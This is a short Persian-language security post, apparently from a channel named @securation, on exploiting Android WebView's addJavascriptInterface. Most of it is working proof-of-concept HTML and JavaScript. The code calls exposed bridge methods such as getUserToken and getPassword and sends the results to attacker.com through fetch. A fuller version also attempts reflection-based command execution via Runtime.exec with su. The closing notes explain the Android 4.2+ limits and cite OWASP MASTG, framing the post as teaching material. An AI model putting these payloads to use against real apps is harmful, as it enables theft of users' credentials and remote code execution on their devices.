WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));
کد اکسپلویت کامل
<!DOCTYPE html>
<html>
<head>
<title>POC - WebView addJavascriptInterface</title>
</head>
<body>
<h2> Exploiting addJavascriptInterface</h2>
<div id="result"></div>
<script>
// مرحله 1: سرقت دیتا از متدهای exposed
try {
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
document.getElementById('result').innerHTML +=
'<p>Stolen: ' + method + ' = ' + data + '</p>';
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
}
} catch(e) {}
}
} catch(e) {}
// مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
try {
var context = window.Android.getContext();
var classLoader = context.getClassLoader();
var Runtime = classLoader.loadClass('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
Runtime.exec(['su', '-c', 'id']);
document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
} catch(e) {
document.getElementById('result').innerHTML +=
'<p> RCE not possible (no chain method)</p>';
}
</script>
</body>
</html>
نسخه سادهتر (سرقت دیتا از متود های اکسپوزد)
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script>
// سرقت دیتای هر متدی که در کلاس جاوا وجود داره
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
alert('Stolen: ' + data);
}
} catch(e) {}
}
</script>
</body>
</html>
نکته: این POC فرض میکنه که متدهایی مثل
getUserToken() یا getPassword() در کلاس جاوا وجود دارن.نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!
برای مطالعه بیشتر: Owasp MASTG
@securation
#Android #RE #Owasp #Mastg #webview